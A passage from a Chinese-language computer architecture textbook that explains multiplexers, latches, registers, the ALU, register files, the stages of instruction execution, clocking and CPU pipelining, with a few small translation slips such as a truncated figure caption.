图 5-16 展示了当 S 输入值为 1 时,如何选择 A 的输出。例如,假设 A 的输入值为 1,B 为 0,S 为 1。在传递到顶部与门之前,S 会被否定并与 B 一起输入(0 与 B),从顶部与门得到 0 的输出值。S 进入底部与门并与 A 一起输入,得到(1 与 A),计算结果为 A 的值从底部与门输出。A 的值(在我们的示例中为 1)和来自顶部与门的 0 作为输入传递到或门,结果为(0 或 A)输出。换句话说,当 S 为 1 时,MUX 选择 A 的值作为输出(在我们的示例中 A 的值为 1)。B 的值不会影响 MUX 的最终输出,因为当 S 为 1 时,顶部与门的输出始终为 0。

*图 5-16:当 S 为 1 时,双向 1 位多路复用器电路选择(输出)A。*
图 5-17 展示了当 S 输入值为 0 时选择 B 输出的多路复用器路径。如果我们考虑与之前示例相同的 A 和 B 输入,但将 S 更改为 0,则 0 的否定值输入到顶部与门,得到(1 与 B),即 B 的值,输出自顶部与门。底部与门的输入为(0 与 A),得到来自底部与门的 0。因此,输入到或门的值为(B 或 0),计算结果为 B 的值作为 MUX 的输出(在我们的示例中,B 的值为 0)。

*图 5-17:当 S 为 0 时,双向 1 位多路复用器电路选择(输出)B。*
双向 1 位 MUX 电路是构建双向*N*位 MUX 电路的基本模块。例如,图 5-18 展示了由四个 1 位双向 MUX 电路构成的双向四位 MUX。

*图 5-18:由四个双向 1 位多路复用器电路构建的双向四位多路复用器电路。单个信号位 S 选择 A 或 B 作为输出。*
*N*路多路复用器选择*N*个输入中的一个作为输出。它需要一个与双路多路复用器稍微不同的 MUX 电路,并且需要 log2 位作为其选择输入。额外的选择位是必需的,因为使用 log2 位,可以编码*N*个不同的值,每个值用来选择一个*N*输入中的某个输入。log2 个选择位的每个不同排列,与*N*个输入值之一一起输入到与门中,最终选出一个 MUX 输入值作为 MUX 输出。图 5-19 展示了一个一位四路 MUX 电路的示例。

*图 5-19:一个四路多路复用器电路有四个输入和两个*(log2 AND z)。
为了了解四路 MUX 电路如何工作,考虑选择输入值为 2(在二进制中为 0b10),如图 5-20 所示。第一个与门的输入为(NOT(S⁰) AND NOT(S¹) AND A),即(1 AND 0 AND A),结果是第一个与门的输出为 0。第二个与门的输入为(0 AND 0 AND B),结果输出为 0。第三个与门的输入为(1 AND 1 AND C),结果输出 C 的值。最后一个与门的输入为(0 AND 1 AND D),结果输出为 0。或门的输入为(0 OR 0 OR C OR 0),最终 MUX 的输出为 C(S 值为 2 时选择 C)。

*图 5-20:当选择输入 S 为 2(0b10)时,四路多路复用器电路选择 C 作为输出。*
解复用器和解码器是另外两种控制电路的例子。*解复用器*(DMUX)是多路复用器的逆操作。多路复用器选择*N*个输入中的一个,而解复用器选择*N*个输出中的一个。DMUX 接受一个输入值和一个选择输入,并有*N*个输出。根据 S 的值,它将输入值发送到其*N*个输出中的一个(输入值会被路由到*N*个输出线中的一个)。DMUX 电路常用于选择*N*个电路中的一个来传递一个值。*解码器*电路接受一个编码输入,并根据输入值启用多个输出中的一个。例如,一个有*N*位输入值的解码器电路,使用该值来启用(设置为 1)其 2^(*N*)个输出线中的一个(该输出线对应于*N*位值的编码)。图 5-21 展示了一个两路一位 DMUX 电路的例子,其选择输入值(s)决定哪个输出接收输入值 A。它还展示了一个两位解码器电路的例子,输入位决定哪个四个输出被设置为 1。两个电路的真值表也被展示。

*图 5-21:一个两路一位解复用器和一个两位解码器及其真值表*
#### 5.4.3 存储电路
*存储电路*用于构建计算机内存,以存储二进制值。由存储电路构建的计算机内存类型称为*静态随机存取内存*(SRAM)。它用于构建 CPU 寄存器存储和片上缓存内存。系统通常使用*动态随机存取内存*(DRAM)作为主内存(RAM)存储。基于电容器的 DRAM 设计要求定期刷新其存储的值,因此被称为“动态”内存。SRAM 是一种基于电路的存储方式,无需刷新其存储的值,因此称为静态 RAM。基于电路的内存比基于电容的内存更快,但也更昂贵。因此,SRAM 通常用于内存层次结构顶部的存储(CPU 寄存器和片上缓存内存),而 DRAM 则用于主内存(RAM)存储。本章将重点介绍基于电路的内存,如 SRAM。
为了存储一个值,一个电路必须包含一个反馈回路,使得该值能被电路保留。换句话说,存储电路的值依赖于其输入值以及当前存储的值。当电路存储一个值时,它当前存储的值与输入值一起产生一个输出,该输出与当前存储的值相匹配(即电路继续存储相同的值)。当一个新值被写入存储电路时,电路的输入值会暂时改变,修改电路的行为,导致新值被写入并存储在电路中。一旦写入,电路将恢复到稳定状态,继续存储新写入的值,直到下一个写入操作发生。
##### RS 锁存器
锁存器是一个数字电路,用于存储(或记住)一个比特的值。一个例子是*复位–设定锁存器*(或 RS 锁存器)。RS 锁存器有两个输入值,R 和 S,以及一个输出值 Q,Q 也是存储在锁存器中的值。RS 锁存器还可以输出 NOT(Q),即存储值的反值。图 5-22 展示了一个用于存储单个位的 RS 锁存器电路。

*图 5-22:一个 RS 锁存器电路,存储一个比特值。*
关于 RS 锁存器,首先需要注意的是它从输出到输入的反馈回路:顶部 NAND 门的输出(Q)作为输入(a)进入底部 NAND 门,而底部 NAND 门的输出(~Q)作为输入(b)进入顶部 NAND 门。当输入 S 和 R 都为 1 时,RS 锁存器存储值 Q。换句话说,当 S 和 R 都为 1 时,RS 锁存器的输出值 Q 是稳定的。为了看到这种行为,参考图 5-23;这展示了一个存储值 1(Q 为 1)的 RS 锁存器。当 R 和 S 都为 1 时,输入到底部 NAND 门的反馈值(a)是 Q 的值,即 1,因此底部 NAND 门的输出是 0(1 NAND 1 为 0)。输入到顶部 NAND 门的反馈值(b)是底部 NAND 门的输出值,即 0。顶部 NAND 门的另一个输入是 1,S 的值。顶部 NAND 门的输出是 1(1 NAND 0 为 1)。因此,当 S 和 R 都为 1 时,电路持续存储 Q 的值(在这个例子中是 1)。

*图 5-23:一个存储一个比特值的 RS 锁存器。锁存器存储值时,R 和 S 都为 1。存储的值是输出 Q。*
要改变 RS 锁存器中存储的值,必须将 R 或 S 的其中一个值设为 0。当锁存器存储新值时,R 和 S 将被设置回 1。控制电路确保 R 和 S 不会同时为 0:最多只有一个为 0,而 R 或 S 中的 0 值意味着正在向 RS 锁存器写入一个新值。要在 RS 锁存器中存储值 0,输入 R 设置为 0(而 S 的值保持为 1)。要在 RS 锁存器中存储值 1,输入 S 设置为 0(而 R 的值保持为 1)。例如,假设 RS 锁存器当前存储的是 1。要将 0 写入锁存器,将 R 的值设置为 0。这意味着 0 和 1 的值输入到底部 NAND 门,计算(0 NAND 1)的结果,即为 1。这个 1 的输出值也输入到顶部 NAND 门(见图 5-24 B)。当顶部 NAND 门的输入值 b 为 1,S 输入值为 1 时,顶部 NAND 门计算出新的输出值 0 给 Q,这个值也作为输入 a 反馈到底部 NAND 门(见图 5-24 C)。当 a 的值为 0,b 的值为 1 时,锁存器现在存储 0。当 R 最终被设置回 1 时,RS 锁存器继续存储值 0(见图 5-24 D)。

*图 5-24:要向 RS 锁存器写入 0,将 R 短暂设为 0。*
##### 门控 D 锁存器
*门控 D 锁存器*在 RS 锁存器上增加了电路,以确保它永远不会同时接收到 R 和 S 输入为 0 的信号。图 5-25 展示了门控 D 锁存器的结构。

*图 5-25:门控 D 锁存器存储一位值。其第一组 NAND 门控制写入 RS 锁存器,并确保 R 和 S 的值从不同时为 0。*
门控 D 锁存器的数据输入(D)是要存储到电路中的值(0 或 1)。写使能(WE)输入控制将值写入 RS 锁存器。当 WE 为 0 时,两个 NAND 门的输出为 1,导致 RS 锁存器的 R 和 S 输入值均为 1(RS 锁存器存储一个值)。只有当 WE 为 1 时,门控 D 锁存器才会将 D 的值写入 RS 锁存器。因为数据输入(D)值在发送到下部 NAND 门之前会被反转,所以只有一个 NAND 门的输入为 1。这意味着当 WE 位为 1 时,R 或 S 中的一个必定为 0。例如,当 D 为 1 且 WE 为 1 时,上部 NAND 门计算(1 NAND 1),下部 NAND 门计算(0 NAND 1)。因此,来自上部 NAND 门的 S 输入为 0,来自下部 NAND 门的 R 输入为 1,导致将值 1 写入 RS 锁存器。当 WE 输入为 0 时,两个 NAND 门的输出均为 1,保持 R 和 S 为 1。换句话说,当 WE 为 0 时,D 的值对 RS 锁存器中存储的值没有影响;只有当 WE 为 1 时,D 的值才会写入锁存器。要将另一个值写入门控 D 锁存器,将 D 设置为要存储的值,并将 WE 设为 0。
##### CPU 寄存器
多位存储电路是通过将多个一位存储电路连接在一起构建的。例如,将 32 个一位 D 锁存器连接在一起,就能得到一个 32 位存储电路,可以用作 32 位 CPU 寄存器,如图 5-26 所示。该寄存器电路有两个输入值:一个 32 位数据值和一个一位的写使能信号。内部,每个一位 D 锁存器将寄存器的 32 位*数据输入*的其中一位作为其 D 输入,并且每个一位 D 锁存器将寄存器的 WE 输入作为其 WE 输入。寄存器的输出是存储在组成寄存器电路的 32 个一位 D 锁存器中的 32 位值。

*图 5-26:CPU 寄存器由多个门控 D 锁存器构建(32 位寄存器由 32 个门控 D 锁存器构成)。当其 WE 输入为 1 时,数据输入被写入寄存器。其数据输出为存储在寄存器电路中的 32 位值。*
### 5.5 构建处理器:将所有内容整合在一起
*中央处理单元*(CPU)实现冯·诺依曼架构中的处理和控制单元,负责驱动程序指令在程序数据上的执行(见图 5-27)。

*图 5-27:CPU 实现冯·诺依曼架构中的处理与控制单元部分。*
CPU 由基本的算术/逻辑、存储和控制电路构建模块组成。其主要功能组件包括*算术逻辑单元*(ALU),用于执行算术和逻辑运算;一组通用*寄存器*用于存储程序数据;一些控制电路和专用寄存器用于实现指令执行;以及一个*时钟*,驱动 CPU 电路执行程序指令。
本节介绍 CPU 的主要部分,包括 ALU 和寄存器文件,并展示它们是如何结合起来实现 CPU 的。在下一节中,我们将讨论 CPU 如何执行程序指令,以及时钟如何驱动程序指令的执行。
#### 5.5.1 ALU
ALU 是一个复杂的电路,能够对有符号和无符号整数执行所有算术和逻辑操作。一个单独的浮点单元执行浮点数的算术操作。ALU 接收整数操作数值和一个指定操作类型的*操作码*值(例如,加法)。ALU 输出执行指定操作后的结果值,以及*条件码*值,后者编码了关于操作结果的信息。常见的条件码指定 ALU 结果是否为负数、零,或者操作是否产生进位。例如,给定 C 语句
x = 6 + 8;
CPU 开始通过将操作数值(6 和 8)和表示 ADD 操作的位输入到 ALU 电路来执行加法运算。ALU 计算结果并输出,同时输出条件码,指示结果为非负数、非零,并且没有进位。每个条件码都用一个位来编码。位值为 1 表示条件成立,位值为 0 表示条件不成立。在我们的例子中,位模式 000 指定了与执行 6 + 8 相关的三个条件:结果不是负数(0)、不是零(0),并且没有进位(0)。
条件码由 ALU 在执行操作时设置,有时被后续指令使用,后续指令会根据特定条件选择执行的操作。例如,ADD 指令可以计算以下`if`语句中的(x + 8)部分。
if( (x + 8) != 0 ) {
x++;
}
ALU 执行 ADD 指令时,根据添加`(x + 8)`的结果设置条件码。在 ADD 指令之后执行的条件跳转指令测试由 ADD 指令设置的条件码位,并根据它们的值跳转(跳过执行`if`体中的指令)或不跳转。例如,如果 ADD 指令将零条件码设置为 0,则条件跳转指令不会跳过与`if`体关联的指令(零条件码表示 ADD 的结果不为零)。如果零条件码为 1,则它将跳过`if`体指令。为了实现跳过一组指令,CPU 将`if`体指令后的第一条指令的内存地址写入*程序计数器*(PC),该计数器包含要执行的下一条指令的地址。
一个 ALU 电路将几个算术和逻辑电路(用于执行其一组操作)与一个多路复用器电路结合起来,以选择 ALU 的输出。与试图选择仅与特定操作相关的算术电路不同,简单的 ALU 会将其操作数输入值发送到其所有内部算术和逻辑电路中。来自 ALU 所有内部算术和逻辑电路的输出被输入到其多路复用器电路中,该电路选择 ALU 的输出。输入到 ALU 的操作码用作多路复用器的信号输入,以选择 ALU 输出的算术/逻辑操作。条件码输出基于 MUX 输出与测试输出值的电路组合,以确定每个条件码位。
图 5-28 显示了一个示例 ALU 电路,它在两个 32 位操作数上执行四种不同的操作(ADD、OR、AND 和 EQUALS)。它还产生一个单一的条件码输出,指示操作结果是否为零。请注意,ALU 将操作码指向一个多路复用器,以选择 ALU 的四个算术结果中的哪一个输出。

*图 5-28:一个四功能 ALU,在两个 32 位操作数上执行 ADD、OR、AND 和 EQUALS 操作。它有一个条件码输出位,指示结果是否为 0。*
ALU 的操作码输入来自 CPU 正在执行的指令中的位。例如,ADD 指令的二进制编码可能包括四个部分:
OPCODE BITS | OPERAND A SOURCE | OPERAND B SOURCE | RESULT DESTINATION
根据 CPU 体系结构的不同,操作数源位可能编码为 CPU 寄存器、存储操作数值的内存地址或文字操作数值。例如,在执行 6 + 8 的指令中,文字值 6 和 8 可以直接编码到指令的操作数指示位中。
对于我们的 ALU,操作码需要两位,因为 ALU 支持四种操作,而两位可以编码四个不同的值(00、01、10、11),每个值对应一个操作。一般来说,执行 *N* 种不同操作的 ALU 需要 log2 位操作码来指定 ALU 输出哪种操作结果。
图 5-29 显示了 ADD 指令的操作码和操作数位如何作为输入传递到我们的 ALU 中的示例。

*图 5-29:指令中的操作码位被 ALU 用来选择输出的操作。在这个示例中,来自 ADD 指令的不同位被输入到 ALU 的操作数和操作码输入端,以执行 6 和 8 的加法运算。*
#### 5.5.2 寄存器文件
在内存层次结构的顶部,CPU 的通用寄存器集用于存储临时值。CPU 提供的寄存器数量非常少,通常为 8–32 个(例如,IA32 架构提供 8 个,MIPS 提供 16 个,ARM 提供 13 个)。指令通常从通用寄存器中获取其操作数值,或者将其结果存储到通用寄存器中。例如,一条 ADD 指令可能会被编码为“将寄存器 1 中的值加到寄存器 2 中的值上,并将结果存储在寄存器 3 中”。
CPU 的通用寄存器集被组织成一个 *寄存器文件* 电路。寄存器文件由一组寄存器电路(参见 第 260 页 的“CPU 寄存器”)组成,用于存储数据值,以及一些控制电路(参见 第 252 页 的“控制电路”)用于控制寄存器的读写操作。该电路通常有一个数据输入线,用于将值写入其中一个寄存器,并且有两条数据输出线,用于同时从寄存器中读取两个值。
图 5-30 显示了一个包含四个寄存器的寄存器文件电路示例。它的两个输出值(Data out[**0**] 和 Data out[**1**])由两个多路复用电路控制。每个读取选择输入(Sr[**0**] 和 Sr[**1**])被送入一个多路复用器(MUX),以选择相应输出的寄存器值。寄存器文件的数据输入(Data in 线)被发送到每个寄存器电路,其写使能(WE)输入首先通过解多路复用器(DMUX)电路,再送到每个寄存器电路。DMUX 电路接受一个输入值,并选择将该值发送到哪个*N*个输出中的一个,其余的*N –* 1 个输出送 0。寄存器文件的写选择输入(S[**w**])被送入 DMUX 电路,以选择 WE 值的目标寄存器。当寄存器文件的 WE 输入值为 0 时,不会将任何值写入寄存器,因为每个寄存器的 WE 位也会为 0(因此,Data in 对寄存器中存储的值没有影响)。当 WE 位为 1 时,DMUX 会将 WE 位值为 1 仅输出到由写选择输入(S[**w**])指定的寄存器,从而使 Data in 值只写入选定的寄存器。

*图 5-30:寄存器文件:用于存储指令操作数和结果值的 CPU 通用寄存器集合*
##### 特殊用途寄存器
除了寄存器文件中的通用寄存器集,CPU 还包含用于存储指令地址和内容的特殊用途寄存器。*程序计数器*(PC)存储下一条要执行的指令的内存地址,*指令寄存器*(IR)存储当前正在被 CPU 执行的指令的二进制位。这些存储在 IR 中的指令位在指令执行过程中作为输入送入 CPU 的不同部分。我们将在《处理器执行程序指令》一节中更详细地讨论这些寄存器,见第 266 页。
#### 5.5.3 CPU
通过 ALU 和寄存器文件电路,我们可以构建 CPU 的主要部分,如图 5-31 所示。由于指令操作数通常来自存储在通用寄存器中的值,寄存器文件的输出将数据发送到 ALU 的输入。同样,指令结果通常存储在寄存器中,ALU 的结果输出作为输入送入寄存器文件。CPU 还具有额外的电路,用于在 ALU、寄存器文件和其他组件(例如主存)之间传输数据。

*图 5-31:ALU 和寄存器文件构成了 CPU 的主要部分。ALU 执行运算,寄存器文件存储操作数和结果值。额外的专用寄存器存储指令地址(PC)和内容(IR)。请注意,指令可能从寄存器文件中提取操作数或将结果存储到寄存器文件以外的位置(例如主内存)。*
这些 CPU 的主要部分构成了其*数据路径*。数据路径包括执行算术和逻辑运算的部分(ALU)、存储数据的寄存器以及连接这些部分的总线。CPU 还实现了一个*控制路径*,通过控制路径驱动 ALU 对寄存器文件中存储的操作数执行程序指令。此外,控制路径还向 I/O 设备发出命令,并根据指令的需要协调内存访问。例如,某些指令可能直接从内存位置获取操作数值(或将结果直接存储到内存),而不是使用通用寄存器。在下一部分,我们将重点讨论从寄存器文件获取操作数值并存储结果到寄存器文件的 CPU 指令执行。尽管 CPU 需要额外的控制电路来读取操作数值或将指令结果写入其他位置,但主要的指令执行步骤在不同的源和目标位置下保持相同。
### 5.6 处理器执行程序指令
指令执行分为多个阶段。不同架构实现的阶段数量不同,但大多数架构将指令执行分为取指(Fetch)、解码(Decode)、执行(Execute)和写回(WriteBack)四个或更多离散阶段。在讨论指令执行时,我们重点关注这四个执行阶段,并以 ADD 指令作为示例。我们的 ADD 指令示例的编码如图 5-32 所示。

*图 5-32:一个三寄存器操作的示例指令格式。该指令以二进制编码,指令的各个部分对应不同的位子集编码:操作码(opcode)、两个源寄存器(操作数)以及存储操作结果的目标寄存器。示例中展示了 ADD 指令在这种格式下的编码。*
为了执行一条指令,CPU 首先从内存中*取出*下一条指令,存入一个专用寄存器,即指令寄存器(IR)。要取出的指令的内存地址存储在另一个专用寄存器——程序计数器(PC)中。PC 跟踪下一条指令的内存地址,并在执行取指阶段时递增,从而存储下一条指令的内存地址。例如,如果所有指令都是 32 位长,PC 的值会递增四个单位(每个字节,八位,具有唯一地址),存储紧接着当前指令的下一条指令的内存地址。与 ALU 分开的算术电路会递增 PC 的值。PC 的值也可能在写回阶段发生变化。例如,一些指令会跳转到特定地址,如与循环、`if`–`else`块或函数调用相关的指令。图 5-33 展示了取指阶段的执行过程。

*图 5-33:指令执行的取指阶段:从存储在程序计数器(PC)寄存器中的内存地址值读取指令,并将其存入指令寄存器(IR)。在此阶段结束时,PC 的值也会递增(如果指令是四个字节,下一地址是 1238;实际的指令大小根据架构和指令类型有所不同)。*
取指令后,CPU 将存储在 IR 寄存器中的指令位进行*译码*,将其分为四个部分:指令的高位编码了操作码,用于指定要执行的操作(例如,ADD、SUB、OR 等),其余的位分为三个子集,指定两个操作数来源和结果目标。在我们的示例中,两个操作数和结果目标都使用寄存器。操作码通过线路发送给 ALU 的输入端,而操作数位则通过线路发送给寄存器文件的输入端。操作数位通过两个读取选择输入(Sr[0]和 Sr[1])发送,指定从哪些寄存器文件中读取寄存器值。译码阶段如图 5-34 所示。

*图 5-34:指令执行的译码阶段:将 IR 中的指令位分解为多个部分,并将它们作为输入发送给算术逻辑单元(ALU)和寄存器文件。IR 中的操作码位被发送到 ALU 选择输入端,以选择执行的操作。IR 中的两个操作数位被发送到寄存器文件的选择输入端,以选择从哪些寄存器读取操作数值。IR 中的目标位在写回阶段发送到寄存器文件,指定将 ALU 结果写入的寄存器。*
在解码(Decode)阶段确定操作和操作数来源后,ALU 在下一个阶段,即*执行(Execution)*阶段执行操作。ALU 的数据输入来自寄存器文件的两个输出,其选择输入来自指令的操作码位。这些输入通过 ALU 传播,产生将操作数值与操作结合的结果。在我们的例子中,ALU 输出将 Reg1 中存储的值与 Reg3 中存储的值相加的结果,并输出与结果值相关的条件码值。执行阶段如图 5-35 所示。

*图 5-35:指令执行的执行阶段:ALU 对其输入值(来自寄存器文件的输出)执行指令操作码位指定的操作。*
在*写回(WriteBack)*阶段,ALU 的结果被存储到目标寄存器中。寄存器文件通过其数据输入接收 ALU 的结果输出,通过其写选择(S[w])输入接收目标寄存器(从指令寄存器 IR 中的指令位),并通过其 WE 输入接收 1。例如,如果目标寄存器是 Reg0,那么 IR 中编码 Reg0 的位将作为 S[w] 输入发送到寄存器文件,以选择目标寄存器。ALU 的输出被作为数据输入送入寄存器文件,并将 WE 位设置为 1,以便将 ALU 结果写入 Reg0。写回阶段如图 5-36 所示。

*图 5-36:指令执行的写回阶段:执行阶段的结果(来自 ALU 的输出)被写入寄存器文件中的目标寄存器。ALU 输出作为寄存器文件的 Data in 输入,指令的目标位通过寄存器文件的写选择输入(S[w]),并且 WE 输入被设置为 1,以启用将 Data in 值写入指定的目标寄存器。*
#### 5.6.1 时钟驱动的执行
时钟驱动 CPU 执行指令,触发每个阶段的开始。换句话说,时钟被 CPU 用来确定每个阶段相关电路的输入何时准备好可以被电路使用,并控制电路何时输出有效的结果,可以作为输入传递给执行下一个阶段的其他电路。
CPU 时钟测量的是离散时间,而非连续时间。换句话说,存在一个时间 0,接着是时间 1,再是时间 2,以此类推,直到每一个随后的时钟跳变。处理器的*时钟周期时间*衡量的是每次时钟跳变之间的时间。处理器的*时钟速度*(或*时钟频率*)是 `1/(时钟` `周期时间)`。通常以兆赫(MHz)或吉赫(GHz)为单位来测量。1 MHz 的时钟频率意味着每秒有一百万次时钟跳变,而 1 GHz 则表示每秒有十亿次时钟跳变。时钟频率是衡量 CPU 运行速度的标准,并且是 CPU 每秒执行指令的最大数量的估算值。例如,在像我们示例中的简单标量处理器上,一个 2 GHz 的处理器可能会达到每秒二十亿条指令的最大执行速率(或者每纳秒两条指令)。
虽然提高单台机器的时钟频率可以提升其性能,但仅仅依靠时钟频率并不是比较不同处理器性能的有效标准。例如,一些架构(如 RISC)在执行指令时需要的阶段比其他架构(如 CISC)少。在执行阶段更少的架构中,即使时钟频率较低,它每秒完成的指令数量也可能和另一种时钟频率更高但执行阶段更多的架构相同。然而,对于特定的微处理器来说,将时钟速度翻倍通常会大约使其指令执行速度翻倍。
时钟频率与处理器性能
历史上,提高时钟频率(同时设计更复杂且功能更强大的微架构以支撑更高频率的时钟)一直是计算机架构师提高处理器性能的非常有效的手段。例如,1974 年,英特尔 8080 CPU 的时钟频率为 2 MHz(每秒两百万次时钟周期)。1995 年推出的英特尔奔腾 Pro 处理器时钟频率为 150 MHz(每秒一亿五千万次时钟周期),而 2000 年推出的英特尔奔腾 4 处理器时钟频率为 1.3 GHz(每秒 13 亿次时钟周期)。时钟频率在 2000 年代中后期达到了顶峰,像 IBM z10 这样的处理器,其时钟频率为 4.4 GHz。
然而,今天,CPU 时钟频率已因应对更高频率时产生的散热问题而达到了极限。这个极限被称为*功率墙*。功率墙的出现促使了多核处理器的开发,始于 2000 年代中期。多核处理器在每颗芯片上配备了多个“简单”的 CPU 核心,每个核心都有一个时钟,且该时钟的频率并未超越上一代核心。多核处理器设计是一种在不增加 CPU 时钟频率的情况下提升 CPU 性能的方式。
##### 时钟电路
时钟电路使用振荡器电路生成非常精确且规则的脉冲模式。通常,晶体振荡器生成振荡器电路的基频,时钟电路使用振荡器的脉冲模式输出交替的高低电压模式,代表交替的 1 和 0 二进制值。图 5-37 显示了一个时钟电路生成 1 和 0 的规律输出模式的示例。

*图 5-37:时钟电路的规律输出模式,1 和 0 的每个序列构成一个时钟周期。*
*时钟周期*(或时钟跳跃)是来自时钟电路模式的 1 和 0 子序列。从 1 到 0 或从 0 到 1 的过渡称为*时钟边缘*。时钟边缘触发 CPU 电路的状态变化,推动指令执行。例如,时钟上升沿(从 0 到 1 的过渡,在新时钟周期开始时)表示输入值准备好进行指令执行的某个阶段。例如,上升沿过渡信号表示 ALU 电路的输入值已经准备好。当时钟值为 1 时,这些输入值通过电路传播,直到电路的输出准备好。这被称为*传播延迟*。例如,当时钟信号为 1 时,ALU 的输入值通过 ALU 操作电路传播,然后通过多路复用器产生正确的 ALU 输出,用于将输入值进行运算。在下降沿(从 1 到 0 的过渡),该阶段的输出稳定并准备好传播到下一个位置(如图 5-38 所示的“输出准备好”)。例如,在下降沿时,ALU 的输出已准备好。在时钟值为 0 的持续期间,ALU 的输出传播到寄存器文件的输入端。在下一个时钟周期,时钟上升沿表示寄存器文件输入值已准备好写入寄存器(如图 5-38 所示的“新输入”)。

*图 5-38:新时钟周期的上升沿触发其控制电路输入的变化。下降沿触发其控制电路的输出有效时。*
时钟周期的长度(或时钟频率)由指令执行过程中任何阶段的最长传播延迟所限制。执行阶段和 ALU 的传播通常是最长的阶段。因此,时钟周期时间的一半必须不快于 ALU 输入值传播通过最慢操作电路到 ALU 输出所需的时间(即,输出反映了对输入的操作结果)。例如,在我们四操作 ALU(OR、ADD、AND 和 EQUALS)中,Ripple Carry 加法器电路具有最长的传播延迟,并决定时钟周期的最小长度。
因为每完成一个 CPU 指令执行阶段需要一个时钟周期,所以具有四个阶段指令执行序列(取指、解码、执行、回写;见图 5-39)的处理器每四个时钟周期最多完成一条指令。

*图 5-39:四阶段指令执行需要四个时钟周期完成。*
例如,如果时钟频率为 1 GHz,则一条指令需要四纳秒才能完成(四个阶段中的每个阶段各需一纳秒)。若时钟频率为 2 GHz,则一条指令只需要两纳秒完成。
虽然时钟频率是处理器性能的一个因素,但单独的时钟频率并不能作为性能的有意义指标。相反,通过程序完整执行过程中每条指令的*周期数*(CPI)的平均值,更能准确衡量 CPU 的性能。通常,处理器无法在整个程序执行过程中维持最大 CPI。低于最大值的 CPI 由多种因素导致,包括常见程序构造的执行,这些构造会改变控制流,如循环、`if`–`else` 分支和函数调用。通过运行一组标准基准程序得到的平均 CPI 常用于不同架构的比较。CPI 是衡量 CPU 性能的更精确指标,因为它衡量了处理程序的速度,而不是单个指令执行某一方面的度量。有关处理器性能和设计处理器以提高其性能的更多细节,请参见计算机架构教材^(20)。
#### 5.6.2 将所有内容整合:完整计算机中的 CPU
数据路径(ALU、寄存器文件以及连接它们的总线)和控制路径(指令执行电路)共同构成了 CPU。它们一起实现了冯·诺依曼架构中的处理和控制部分。如今的处理器被实现为蚀刻在硅芯片上的数字电路。处理器芯片还包括一些快速的片上缓存存储器(使用锁存存储电路实现),用于将最近使用的程序数据和指令存储在靠近处理器的位置。有关片上缓存存储器的更多信息,请参见第十一章。
图 5-40 显示了一个在完整现代计算机环境中的处理器示例,其组件共同实现了冯·诺依曼架构。

*图 5-40:现代计算机中的中央处理单元(CPU)。总线连接处理器芯片、主存储器以及输入输出设备。*
### 5.7 流水线:提高 CPU 速度
我们的四阶段 CPU 需要 4 个周期来执行一条指令:第一个周期用于从内存中取指令;第二个周期用于解码指令并从寄存器文件中读取操作数;第三个周期让 ALU 执行操作;第四个周期将 ALU 结果写回寄存器文件中的寄存器。要执行一系列 *N* 条指令,需耗时 4*N* 个时钟周期,因为每条指令按顺序依次执行。

*图 5-41:执行三条指令需要总共 12 个周期。*
图 5-41 显示了执行三条指令总共需要 12 个周期,每条指令需要 4 个周期,导致 CPI 值为 4(CPI 是执行一条指令的平均周期数)。然而,CPU 的控制电路可以进行改进,从而实现更好的(更低的)CPI 值。
在考虑每条指令需要 4 个周期执行,接着下一条指令也需要 4 个周期,依此类推的执行模式时,CPU 负责实现每个阶段的电路只有在每 4 个周期中才会参与指令执行。例如,在取指阶段之后,CPU 中的取指电路在接下来的 3 个时钟周期内并未用于执行与执行下一条指令相关的任何有用操作。然而,如果取指电路能够继续在接下来的 3 个周期内积极执行后续指令的取指部分,CPU 将能够在每 4 个周期内完成多条指令的执行。
CPU *流水线*就是在当前指令完全执行完之前,开始执行下一条指令的这个理念。CPU 流水线按顺序执行指令,但它允许指令执行的过程重叠。例如,在第一个周期,第一条指令进入其取指阶段。第二个周期,第一条指令进入解码阶段,第二条指令同时进入其取指阶段。第三个周期,第一条指令进入执行阶段,第二条指令进入解码阶段,第三条指令从内存中取出。第四个周期,第一条指令进入回写阶段并完成,第二条指令进入执行阶段,第三条指令进入解码阶段,第四条指令进入取指阶段。此时,CPU 指令流水线已满——每个 CPU 阶段都在积极执行程序指令,其中每条后续指令的执行进度比前一条指令慢一个阶段。当流水线满时,CPU 每个时钟周期完成一条指令的执行!

*图 5-42:流水线:重叠指令执行,以实现每个周期完成一条指令。圆圈表示 CPU 已达到每周期完成一条指令的稳定状态。*
图 5-42 展示了通过我们的 CPU 执行流水线指令的示例。从第四个时钟周期开始,流水线填充,意味着 CPU 每个周期完成一条指令的执行,达到了 1 的 CPI(如图 5-42 中的圆圈所示)。注意,执行单条指令所需的总周期数(即指令*延迟*)在流水线执行中并没有减少——每条指令的执行仍然需要四个周期。而是,流水线通过交错方式重叠执行连续的指令,从而提高了指令*吞吐量*,即 CPU 在给定时间内可以执行的指令数量。
自 1970 年代以来,计算机架构师一直使用流水线作为显著提高微处理器性能的一种方式。然而,流水线的使用也意味着比不支持流水线执行的 CPU 更复杂的设计。为了支持流水线,需要额外的存储和控制电路。例如,可能需要多个指令寄存器来存储当前流水线中的多条指令。这种增加的复杂性几乎总是值得的,因为流水线能够显著提高每个时钟周期指令执行数(CPI)。因此,大多数现代微处理器都实现了流水线执行。
流水线的思想也被应用于计算机科学中的其他上下文以加速执行,这一理念也适用于许多非计算机科学应用。例如,考虑使用单个洗衣机进行多次洗衣的任务。如果完成一次洗衣包括四个步骤(洗涤、干燥、折叠和收起衣物),那么在洗完第一批衣物后,第二批衣物可以放入洗衣机,同时第一批衣物在干衣机中,重叠洗涤每一批衣物,从而加速洗四批衣物所需的总时间。工厂的流水线是流水线应用的另一个例子。
在我们讨论 CPU 如何执行程序指令以及 CPU 流水线时,我们使用了一个简单的四阶段流水线和一个示例的 ADD 指令。为了执行在内存和寄存器之间加载和存储值的指令,使用了五阶段流水线。五阶段流水线包括一个内存阶段用于内存访问:取指–解码–执行–内存–写回。不同的处理器可能会有比典型的五阶段流水线更多或更少的流水线阶段。例如,最初的 ARM 架构有三个阶段(取指、解码和执行,其中执行阶段同时执行 ALU 操作和寄存器文件写回功能)。更新的 ARM 架构在其流水线中有超过五个阶段。最初的 Intel Pentium 架构有一个五阶段流水线,但后来的架构有显著更多的流水线阶段。例如,Intel Core i7 具有 14 阶段的流水线。
### 5.8 高级流水线指令考虑事项
记住,流水线通过重叠执行多条指令来提高处理器的性能。在我们之前关于流水线的讨论中,我们描述了一个简单的四阶段流水线,基本阶段为获取(F)、解码(D)、执行(E)和写回(W)。在接下来的讨论中,我们还考虑了第五个阶段——内存(M),它表示对数据内存的访问。因此,我们的五阶段流水线包括以下阶段:
